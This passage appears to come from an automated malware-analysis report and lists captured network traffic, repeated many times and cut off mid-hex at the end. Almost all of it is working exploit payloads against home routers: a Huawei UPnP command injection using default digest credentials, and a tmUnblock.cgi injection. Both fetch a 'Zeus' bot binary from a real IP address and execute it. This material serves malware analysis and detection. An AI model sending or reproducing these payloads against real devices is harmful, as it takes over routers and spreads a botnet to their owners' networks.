75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 